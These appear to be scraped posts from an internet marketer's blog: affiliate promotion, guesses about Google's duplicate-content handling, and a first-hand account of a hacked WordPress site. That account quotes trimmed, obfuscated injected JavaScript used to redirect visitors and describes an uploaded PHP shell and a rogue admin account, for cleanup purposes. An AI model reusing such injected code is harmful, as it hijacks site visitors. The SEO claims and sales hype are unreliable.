So let’s talk about the Secret Money Ring.  Ever heard of it?

Are you familiar with Matt Bacak?

Matt’s been around the IM community for about 10 years but he got on my radar about 6 months ago.  He is one of those guys who helps lots of people in the background and makes a killing doing it.

How does he do it?

With products like the Secret Money Ring, he shows people how it is possible to make money online and even better he helps you along with his personal coaching program called IM Gold.

Let me fill you in on how it is that I came across Matt.

A buddy of mine asked if I was going to this seminar in Atlanta.  I had not heard about it so he sent me the link.   It looked pretty cool with a ton of great speakers and it had a long list of VIP’s who were attending the seminar.

The cost was $1000.00 but there was another option.   I could join this IM Gold Membership for $97.00 per month and get a free ticket.  I thought to myself I will get the membership and just cancel after the first month.  Sound familiar?

So I go to this seminar and I am hanging out with some big hitters in the IM world.   I am outside talking to some folks when out pops Matt Bacak.  I start talking with him for a bit and I have to tell you he is one of the most approachable kind of guys.  Down to earth and not filled with hot air if you know what I mean.

He left a great impression on me as a person.

Since he was hosting the seminar, I felt obligated to go hear him talk.  I have to tell you the kind of information this guy is will to share is just crazy.  He didn’t hold anything back and I picked up some great tips that help my own business growth.

So anyways…

His IM Gold Membership has a bunch of cool things but one of the best things he does is a Monday night Q&A call.   You submit your question and he will answer.  Best of all you can even submit websites and he will critique your webpages for you!

I have personally done this a time or two and I have to say the results have been outstanding.  I had one page that was converting at less than 2%.  Now it converts at over 15%!  That’s money Matt helped me pull out of thin air.

Needless to say…I never cancelled my IM Gold Membership because of the value it offers to me and my business.  And I am still paying $97.00 per month!

So with the Secret Money Ring you get an exclusive look at the IM Gold Membership for a lot less than $97.00 per month.   Matt is offering a $1.00 trial so you can see the value he provides to his IM Gold Members.  It’s a way for you to test before you invest kind of deal.   One that I think should not be passed up.

Matt has trained some the most successful marketers online and he is an awesome teacher.   If you need concrete direction without a bunch of hype then you need to take a serious look at the Secret Money Ring.

I am even going to take it one step further; if you decide to purchase the Secret Money Ring for just one dollar, I will give you a free copy of 8 Internet Marketing Scripts that will help automate your sales process.

These 8 IM Scripts have some pretty cool features like an auto countdown timer you can add to your website.  There is also a great link cloaker that helps to protect your affiliate commissions plus a real easy split test script so you can make your websites sing.   8 IM Scripts in all but I am going to give it to you for free just for checking out the Secret Money Ring.  Just send an email to brian@brianlyssy.com with your clickbank receipt and I will send these 8 powerful IM Scripts right to you.

There is one catch…

You must make sure that when you make your purchase that at the bottom of the page you see something like [affiliate = mrktnow].   If it says something else, clear the cookies in your browser and start again.  You must make your purchase of Secret Money Ring through my link in order to get your 8 free IM Scripts.

Here is the link http://brianlyssy.com/secret.php

Make sure you click the link above to review The Secret Money Ring and get your 8 IM Scripts for free!

First off…let me start by saying I am in no way associated with Google or anyone who works for Google.  I am a software engineer but I have not seen the code used to drive Google’s search engine bot.  With that being said I want to give you my take on how Google handles the whole duplicate content issue.

To give you a little background on how this came about I posted a link to a wordpress plugin developed by the people at EzineAriticles.com that allows you to take a blog post and then submit it to their system as a new article.  This is a great service and I am glad to see EzineArticles.com take this step but if you read the editorial guidelines of their site you would see that they do not allow duplicate content.

Doesn’t this fly in the face of that guideline?

NO!

When they say “No Duplicate Content”, they want to make sure that you are the author and that your article is not some PLR piece of junk.

So how does this new plugin help?  Well it is going to save you some time when you submit your unique content to their system.  Sure it is only a couple of button clicks and a copy/paste operation but I will take what I can get.  I just hope some of the other article submission sites get together and create one plugin that would do the same.

There are a lot of third party software packages that do this functionality but most of them don’t work right…I have yet to test one that does what it says it does.

OK…so let’s talk a little about Google and the duplicate content issues they come across.

When Google talks about duplicate content there really are two things they are referencing.

The first is affiliate type websites.

I am talking about those websites that are www.somesite.com but when I sign up I get a unique link that looks something like www.somesite.com/?id=brian
Google will find my link on some forum or some blog and follow that back only to find that the content is the exact same as the main www.somesite.com.

Now here is were the penalty kicks in.  If my affiliate page was different than the main page, my link would get a little link juice meaning I would get credit in Google’s eyes for a backlink.  But, since this is an affiliate page and the content is the exact same I will get no credit at all.

Now is there a penality for this?  From what I understand…YES.

The main site will get a negative score because Google does not like affiliate type pages to show up in search results.  Google wants good unique content.
The second is duplicate content on different websites.

This one is handled differently than what you might think.  Google’s bot will go out to the Internet and scrape content from all the websites that it knows about.  As it goes along it will pick up on duplicate content and store references to that content.

When a person does a search that that content is optimized for, Google will pick the page that it thinks is the originator of the content and show that page in the search engine results pages.  It will also mute the other instances of that content.

Google does this because they want variety.  So why is having duplicate content a good thing?

As Google makes determinations on content and relevance they will see that a bunch of sites have this duplicate content and they will determine that content must be good stuff for it to show up all over the place.  You actually get more link love if you set this up properly.

Google knows that content gets syndicated and sometimes it is not the authors fault that content is getting distributed all over the Internet.  Google is not going to punish you for something you might not have any control over.

So what is the best way to make sure you get credit for your content?

When I post new content, I wait a couple of days to make sure Google has indexed my new content.  After that, I publish that content to EzineArticles.com.  Once my article is published on their site and running, I will then post my article to about 20 other article sites.

The best part is…once that content is published, other marketers will use my articles on their sites and that gives me more backlinks that have tons of relevance in Google’s eyes.

It’s a win-win

Dear IM Friend,

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Now what was I doing?

Brian

Free – Targeted Web Traffic Is The Goal of Every Blogger

But…Most bloggers get wrong and their blogs suffer for it.

One of the most depressing things I have noticed over the years is how bloggers don’t stick to a plan and end up getting it all wrong.

Some of the more common mistakes are:

1. Using automation – Most have heard the more content you have the more traffic you will get.  That is not true.  You have to provide quality content that your readers trust.  What is the point of posting content for the search engines when your visitors will just get turned off and not come back.
2. Bad content – Some marketers think that these article spinners or plr products will provide an easy way to get content done.  Big myth!  If you have used plr or article spinners then you know how much time you have to review and edit.  You might as well just sit down and write the articles yourself.  You end up saving more time that way.
3. The wrong link strategy – Lots of backlinks are great and volume does have it’s benefits but the quality of the backlink is more inport to your blogs success.  Not just a bunch of links.  You might get some initial Google Love but it will quickly go away and then you’re screwed.

I have been a blogger for a couple of years now and I have tried it all.  I have learned what it takes to produce good quality traffic that converts really well.  I know the sites to get bookmarks from.  I know which directories to target for best results.

I don’t say these things to be arrogant or show how smart I am.  I tell you because I don’t want to see you waste your time and end up hurting your site more than if you did nothing.

There are proven SEO strategies that will help you be a better blogger and not waste a lot of time doing things that cost a lot of money and produce no results or that cost you a ton of time and leave your site high and dry.

I use blogs to develop traffic and then convert that traffic to sales using simple strategies that search engines love me for.

I can show you how to be a successful blogger as well.

If your looking to drive tons of free web traffic and have that traffic convert then I suggest you take a look at an awesome blogging site that will blow your mind.

I just wanted to warn you there seems to be a lot of wordpress blogs being hacked right now and it seems to be the same MO.

Last night I was making a post to my blog.  Once I got done, I went to view the post and make sure there were no errors or and everything looked cool.

To my surprise…all was not cool!

My page got redirected to another site!!!

I started jumping around to other pages and the same thing was happening.  Each page was getting redirected which means each of my blog visitors were going elsewhere and probably thinking I was causing it.  That was not the case.  Now I’m getting pissed.

I knew for this to be happening there had to be some kind of redirect script in one of the more common *.php files.  If you go to the appearance area there is a link to edit your site files.  The more common ones are listed on the right.  I check the index.php and the footer.php files but did not see anything out of the ordinary.  I then looked at my header.php and found this…

<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3Dpx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′)</script>

To get more information on what this script does you can always visit this post I found

Wordpress injection attack and “affiliate ping-pong”

Removing this code is just the start…as you will soon see.

So I removed the redirection script and notified my hosting provider of what was going on.  Here is the response early this morning…

Hello,

It appears that at some point before your wordpress blog has been upgraded, it had been exploited and a PHP shell script had been uploaded to the account. This PHP shell was then used to modify your site. I have now removed this. Please ensure that all account passwords have been changed (included this wordpress adminsitrator password) and that any and all plugins have been updated to their most recent versions. Please let us know if you have any further questions.

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[root@gator550 /home/blyssy/public_html/brianlyssy.com/blog/wp-content/uploads]# find -iname “*.php”
./2009/09/28788.php

It appears the hacker was able to upload this 28788.php file to my wordpress directory.  This was the file that generated the code in the header.php file but it also did one other thing…

It created an administrator account on my wordpress blog!

If this has happened to you, you need to log into your cpanel and check out your wordpress database’s.  IF you don’t know how to, then I suggest you get a professional.

For those that want to go it alone…once your in your cpanel, you want to go to the databases section and select phpMyAdmin.

This will bring up a new window where you will see your databases listed on the left hand side.  If you don’t remember the name associated with the database, then don’t fret you can figure it out pretty quick.

Just pick on one.  You will see a list of tables for that database.

You want to look for wp_users and select it.  IF the current database your looking at does not have a wp_users, then use the drop down box at the top of the listing to select another database.

You want to look for an entry in the database that should not be there and delete it.

What led me to look there was in the wp-admin “users” area I had seen two admin entries.  One was me and the other was someone I did not know.

One of the fields had more code in it like this…

<script LANGUAGE=”JavaScript”>function Decode(){var temp=”",i,c=0,out=”";var str=”46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!11714!105!112!116!34!62!l=str.length;while(c<=str.length-1){while(str.charAt(c)!=’!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp=”";}document.write(out);} </script><script LANGUAGE=”JavaScript”> Decode(); </script>

This is not the full code.  It has been trimmed down so you get the idea.

Anyway…I could not delete this account through the wp-admin area!

That is why I had to resort to going to the database.

I hope this helps others.  I would suggest everyone needs to check their blogs, update their blogs, and change their passwords.

I would so love to punch this asshole!  A couple of times!

One of the biggest things with creating HTML pages is deciding on what to use to create the html files.  I know the tendency to use something like Microsoft Word is very appealing but don’t do it.

I help others who create pages in various word processors get those files up on the Internet in the form of html pages.  One thing I have found is that Microsoft sucks at creating webpages.

There is a save function within MS Word that will convert your document over to html without the Word specific tags but it never turns out as expected.

Word seems to keep a hold of a 8.5 x 11 inch document concept.  This is now how webpages work.

Every time I have tried to do a conversion, it never works out and I spend countless hours debugging and reformatting for the Internet.

I strongly recommend that you take the time to learn a real html editor such as Dreamweaver and dump MS Word for you webpage development.

For a reference on what kinds of html applications are out there, you can always visit http://brianlyssy.com/tools

I have a pretty good list of the items that I use along with some good free replacements.

If you are going to do any kind of serious development on the Internet, then I suggest you take the plunge and get Adobe CS4 Webmaster package.  This package rocks!

I am currently working on a new project that is utilizing new web technology and I am starting to use more and more of the Adobe Webmaster tools to get it done.

Long story short…MS Word has it’s place and developing websites is not one of them.

I wanted to provide a quick update.  I have finally finished Power Niche Blogging.

This is a great guide (if I do say so myself) that shows you how to build a network of blogs that can drive tons of traffic and make sales.

I go through every detail in building an online empire that will produce some awesome results.  If building an online business in any niche is something that interests you, then you should definatly get this book.

Power Niche Blogging

Most people fail in business because advertising can get really expensive.  Especially if you advertise over a large period of time.

Power Niche Blogging makes it so you don’t have those costly advertising expenses.

Take a look and let me know what you think.

Hey gang,

I just received my first copies of the 7 Critical Things DVD.

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If you want to get your own copy, then visit This Link to get your own copy.

Before you watch…

Last night I was watching a football game on the TV when I started hearing crying, screaming, and familiar sounds of a brother and sister going at it…if you know what I mean.

I went upstairs to find both crying and running for their beds.  It was after their bedtime.

I also found my video camera setup in my daughters  room.  I grabbed the camera and told them to go to bed in the most sensitive of ways…if you know what I mean.

I brought the camera downstairs to see what all of the comotion was about.  Unfortunately my daughter was one step ahead of me.